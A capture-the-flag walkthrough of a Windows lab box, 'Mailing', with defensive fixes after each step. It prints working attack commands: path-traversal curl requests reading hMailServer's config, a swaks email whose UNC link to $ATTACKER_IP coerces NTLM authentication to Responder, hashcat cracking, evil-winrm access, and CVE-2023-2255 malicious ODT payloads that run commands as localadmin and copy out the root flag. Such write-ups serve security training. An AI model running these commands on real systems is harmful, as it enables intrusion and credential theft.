← all walkthroughs

Mailing

Windows· Easy· Web
owned
2026-07-07
time to own
24m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target mailing ($TARGET, Windows Server 2019) ran an IIS 10.0 web application and a full hMailServer mail stack. A path-traversal flaw in the site's download.php endpoint let me read the hMailServer INI configuration file, fingerprinting the installed software and leaking a crackable admin password hash.

The real foothold came from NTLM coercion: an email containing a UNC moniker link was sent to the server's mailbox via SMTP; the Windows mail client automatically resolved the UNC path, and a Responder listener captured user maya's NetNTLMv2 hash. Hashcat cracked it to the plaintext password [REDACTED: recovered credential], which validated over WinRM for an interactive shell and access to the user flag.

Privilege escalation chained two weaknesses: a world-writable network share (C:\ProgramData\UpdateMonitor, exposed as SMB share 'Important') was periodically opened by a background process running as the privileged localadmin account, and LibreOffice 7.4 on the server was unpatched for CVE-2023-2255, a flaw allowing embedded Basic macros in crafted ODT documents to execute silently on open. Dropping a malicious ODT into the share caused the watcher to execute my own command as localadmin; iterating payloads confirmed blind code execution and ultimately exfiltrated root.txt back through the same share, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046); virtual-host discovery
Port-scanned the target and identified the mailing.htb virtual host
A full TCP port scan of $TARGET revealed IIS 10.0 on port 80, hMailServer running on all standard mail ports (25, 110, 143, 465, 587, 993), SMB on 445, and WinRM on 5985. The web application required a Host header of mailing.htb to render correctly, and the site exposed a download.php endpoint accepting a user-supplied file parameter — the first indicator of a path-traversal surface. WinRM's presence on 5985 was noted as a potential access vector once credentials were obtained.
WINRM $TARGET 5985 MAILING [*] Windows 10 / Server 2019 Build 19041 (name:MAILING) (domain:MAILING)
Exact commands 3
Full TCP scan with service and version detection.
nmap -sV -sC -p- --min-rate 5000 $TARGET -oN nmap_full.txt
Add the discovered virtual host to local DNS resolution.
echo "$TARGET mailing.htb" | sudo tee -a /etc/hosts
Confirm the vhost reaches the mail portal application.
curl -s -H 'Host: mailing.htb' "http://$TARGET/"
2EnumerationPath Traversal / Local File Inclusion (CWE-22, T1083)
Read hMailServer's configuration file via path traversal in download.php
The download.php script accepted a user-controlled file path and applied no sanitisation or directory-containment checks. URL-encoding backslash traversal sequences (%5c) allowed the request to walk out of the web root and read arbitrary files accessible to the IIS worker process. Requesting the hMailServer INI file returned it in plaintext, including the installation path, enabled protocols, and the MD5 hash of the Administrator account password. The hash cracked to '[REDACTED: recovered credential]', but all SMTP authentication attempts against Administrator and admin@mailing.htb failed — a dead end that nevertheless confirmed the software stack and informed the choice of NTLM coercion as the next vector.
Curl to /download.php?file=..%5c..%5c..%5cProgram%20Files%20(x86)%5chMailServer%5cBin%5chMailServer.INI returned the plaintext configuration file including the admin password hash.
Exact commands 2
Traverse to the hMailServer INI file; adjust traversal depth if needed.
curl -s -H 'Host: mailing.htb' "http://$TARGET/download.php?file=..%5c..%5c..%5c..%5c..%5c..%5cProgram%20Files%20(x86)%5chMailServer%5cBin%5chMailServer.INI"
Alternative traversal to verify read access to arbitrary files before targeting the INI.
curl -s -H 'Host: mailing.htb' "http://$TARGET/download.php?file=..%5c..%5c..%5c..%5c..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
FixEliminate the path-traversal vulnerability in download.phpCritical
WeaknessThe download.php endpoint passed user-supplied file paths directly to the filesystem without stripping directory-traversal sequences or confining reads to a permitted base directory. Any unauthenticated visitor could read any file accessible to the IIS worker process, including application configuration files and password stores.
FixResolve the canonical absolute path of the requested file (PHP realpath(); ASP.NET Path.GetFullPath()) before opening it, then reject any resolved path that does not begin with the intended base directory. Use an allow-list of permitted filenames rather than a blocklist of dangerous patterns. Additionally, configure the IIS application pool to run as a dedicated low-privilege identity (not SYSTEM or NetworkService) so that a successful traversal cannot reach OS-level credential files.
3ExploitationForced NTLM Authentication via UNC moniker link (T1187)
Captured maya's NetNTLMv2 hash by sending a UNC moniker link via SMTP
HMailServer's SMTP service accepted inbound email to local mailboxes without authentication. An HTML email body embedding a UNC path reference (file:///\\$ATTACKER_IP\share\file.rtf) was submitted to maya's mailbox via swaks while Responder listened on my VPN interface. The Windows mail client on the server automatically resolved the UNC path on receipt, initiating an outbound SMB authentication attempt to my machine. Responder captured the resulting NetNTLMv2 challenge-response for user maya.
Responder log: MAYA::MAILING:<challenge>:<response> — NetNTLMv2 hash captured from $TARGET on my tun0 interface.
Exact commands 2
Start Responder on the VPN interface to catch inbound SMB auth. Run in a dedicated terminal before sending the email.
sudo responder -I tun0 -dwv
Replace $ATTACKER_IP with your tun0 address. The mail client will auto-resolve the UNC path on open.
swaks --server $TARGET --port 587 --to maya@mailing.htb --from $USERNAME@mailing.htb --header 'Subject: Action Required' --body '<a href="file:///\\\\$ATTACKER_IP\\share\\document.rtf">View document</a>' --add-header 'Content-Type: text/html'
FixBlock outbound NTLM authentication to externally controlled serversHigh
WeaknessThe Windows mail client on the server automatically resolved UNC paths embedded in received email, initiating an outbound SMB connection and leaking the mail user's NetNTLMv2 challenge-response to an unauthorised user able to send a message to a local mailbox — no user interaction was required.
FixSet Group Policy to deny outbound NTLM to non-domain servers: Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > 'Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers' = Deny All. Block outbound TCP 445 and TCP 139 to non-corporate destinations at the perimeter firewall. Configure the mail client to disable automatic loading of remote or UNC-referenced resources. Consider enforcing Kerberos-only authentication organization-wide and deploying Windows Defender Credential Guard.
4Credential RecoveryOffline password hash cracking (T1110.002)
Cracked maya's captured NetNTLMv2 hash to recover her plaintext password
The NetNTLMv2 challenge-response written to Responder's log directory was submitted to hashcat in mode 5600 against the rockyou.txt wordlist. The password [REDACTED: recovered credential] appeared in the wordlist and the hash cracked within seconds, yielding a usable plaintext credential for the MAILING\maya account.
Hashcat -m 5600 output: MAYA::MAILING:<hash>:[REDACTED: recovered credential]
Exact commands 2
Copy the captured hash from Responder's log directory.
cp /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txt maya_hash.txt
Mode 5600 = NetNTLMv2. Drop --force when running on native hardware with a supported GPU.
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt --force
FixEnforce strong password requirements and protect credential storesHigh
Weaknessmaya's account password ([REDACTED: recovered credential]) cracked against the rockyou.txt common wordlist in seconds, indicating it did not meet modern length or complexity requirements. The hMailServer configuration file, reachable through the LFI, stored the administrator password as an MD5 hash — a broken algorithm that makes offline cracking trivial.
FixRequire passwords of at least 16 characters and screen new passwords against known-breached lists (via HIBP integration or comparable tooling). Configure hMailServer to use a stronger hash algorithm where the product supports it, and restrict ACLs on the hMailServer installation directory so the IIS worker process account cannot read configuration files. Enable account lockout policy to limit online brute-force attempts.
5FootholdRemote Services — Windows Remote Management / WinRM (T1021.006)
Obtained an interactive Windows shell as maya via WinRM and read the user flag
The recovered credentials were validated against WinRM on port 5985 with NetExec, which returned a 'Pwn3d!' banner confirming remote PowerShell access. Evil-winrm opened a full interactive session as MAILING\maya. The user flag was present on maya's desktop.
WINRM $TARGET 5985 MAILING [+] MAILING\maya:[REDACTED: recovered credential] (Pwn3d!)
Exact commands 3
Validate WinRM access; expect (Pwn3d!) in the output.
nxc winrm $TARGET -u maya -p '$PASSWORD3'
Open an interactive PowerShell session as maya.
evil-winrm -i $TARGET -u maya -p '$PASSWORD3'
Read the user flag from within the evil-winrm session; value: <user.txt>
type C:\Users\maya\Desktop\user.txt
6Post-Exploitation EnumerationFile and directory discovery (T1083); SMB share enumeration (T1135)
Found a world-writable drop folder periodically opened by a privileged process
Local enumeration from maya's shell revealed C:\ProgramData\UpdateMonitor — a directory writable by any authenticated user and exposed as the SMB share named 'Important' (8.3 short path C:\IMPORT~1). Observing the folder over time showed that a background process running as the localadmin account (the system's highest-privilege local user) periodically opened files placed there. LibreOffice 7.4 was installed on the system and registered as the handler for ODT files, making it the likely application the watcher used to open documents.
Nxc --shares listed the 'Important' share; icacls confirmed Everyone:F on C:\ProgramData\UpdateMonitor; process monitoring identified localadmin as the opener.
Exact commands 3
List accessible SMB shares; look for the 'Important' share mapping to C:\IMPORT~1.
nxc smb $TARGET -u maya -p '$PASSWORD3' --shares
Run from the evil-winrm session to inspect the monitored drop folder.
Get-ChildItem C:\ProgramData\UpdateMonitor -Force
Confirm world-writable permissions on the drop folder.
icacls C:\ProgramData\UpdateMonitor
FixRestrict the UpdateMonitor drop folder to the owning service account onlyHigh
WeaknessC:\ProgramData\UpdateMonitor was writable by any authenticated user and exposed as the network share 'Important', allowing any domain user to place arbitrary files into a location that a process running as the most-privileged local account automatically opened. This turned an unprivileged network share into a privilege-escalation primitive.
FixReset the ACL on C:\ProgramData\UpdateMonitor so that only the specific service account that writes legitimate update packages holds write access; deny write to all standard user and authenticated-users groups. If the share is not needed for remote file delivery, remove it entirely (net share Important /delete). Audit all other monitored or auto-open directories for least-privilege ownership, and log any new file creation in monitored folders to a SIEM for alerting.
7Privilege EscalationCVE-2023-2255 — LibreOffice document macro execution bypass (T1204.002)
Exploited CVE-2023-2255 in LibreOffice 7.4 to execute commands as localadmin
CVE-2023-2255 is a LibreOffice vulnerability (fixed in 7.4.7 and 7.5.3) in which a crafted ODT document's embedded Basic macro is silently executed when the file is opened, bypassing the macro security dialog through a malformed content.xml. A malicious ODT was built using the public elweth-sec PoC tool, embedding a command to run whoami and redirect its output to a file in the writable share. The ODT was uploaded to the 'Important' share via SMB. When the privileged watcher process opened it, the macro ran as localadmin and the output file appeared in the share — confirming blind remote code execution as the highest-privilege account on the system.
Python zipfile patching of content.xml in test.odt with embedded macro: cmd.exe /c whoami > C:\IMPORT~1\out.txt; output file retrieved via SMB contained 'mailing\localadmin'.
Exact commands 4
Clone the public PoC to get the ODT builder. Review its code before running.
git clone https://github.com/elweth-sec/CVE-2023-2255 /tmp/CVE-2023-2255 && cd /tmp/CVE-2023-2255
Build a probe ODT that writes whoami output to the accessible share. Confirm execution before escalating.
python3 CVE-2023-2255.py --cmd 'cmd.exe /c whoami > C:\IMPORT~1\out.txt' --output /tmp/probe.odt
Upload the malicious ODT to the monitored share. Wait for the watcher to open it (typically under a minute).
smbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'put /tmp/probe.odt probe.odt'
Retrieve the command output file after the watcher runs the macro; expect 'mailing\localadmin'.
smbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'get out.txt'
FixPatch LibreOffice and prevent privileged processes from opening untrusted documentsCritical
WeaknessLibreOffice 7.4 installed on the server was vulnerable to CVE-2023-2255, which allows a crafted ODT document to bypass macro security dialogs and silently execute embedded Basic macros when the file is opened. The privileged watcher process opened files placed in the drop folder without validating their source, type, or content — meaning any file dropped by any authenticated user ran with localadmin privileges.
FixUpdate LibreOffice to version 7.4.7, 7.5.3, or a later patched release. Set LibreOffice macro security to 'Very High' so only macros signed by a trusted certificate run. Redesign the watcher service to operate under a dedicated low-privilege service account rather than localadmin, and restrict what file types it will process to a strict allow-list. Where possible, process incoming documents inside a sandboxed or containerized environment so that macro execution cannot reach the host OS with elevated rights.
8Full CompromiseData collection from local system (T1005); blind command execution via document macro
Exfiltrated the root flag from localadmin's desktop via the malicious ODT macro
With blind code execution as localadmin confirmed, a final ODT payload was crafted to copy root.txt from localadmin's desktop into the writable 'Important' share under a new filename. The ODT was uploaded and the watcher opened it; the copy command ran as localadmin. The exfiltrated file was then pulled down over SMB, yielding the root flag and completing full compromise of the system.
Cmd.exe /c copy C:\Users\localadmin\Desktop\root.txt C:\IMPORT~1\r2.txt — executed as localadmin; r2.txt retrieved via smbclient.
Exact commands 3
Build the final ODT that copies root.txt to the SMB-accessible share.
python3 CVE-2023-2255.py --cmd 'cmd.exe /c copy C:\Users\localadmin\Desktop\root.txt C:\IMPORT~1\r2.txt' --output /tmp/copy_root.odt
Upload to the drop folder; wait for the privileged watcher to open and execute it.
smbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'put /tmp/copy_root.odt copy_root.odt'
Retrieve the exfiltrated root flag; value: <root.txt>
smbclient //$TARGET/Important -U 'maya%$PASSWORD3' -c 'get r2.txt'

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

25/tcp
80/tcp
110/tcp
135/tcp
139/tcp
143/tcp
445/tcp
465/tcp
587/tcp
993/tcp
5040/tcp
7680/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49668/tcp
50595/tcp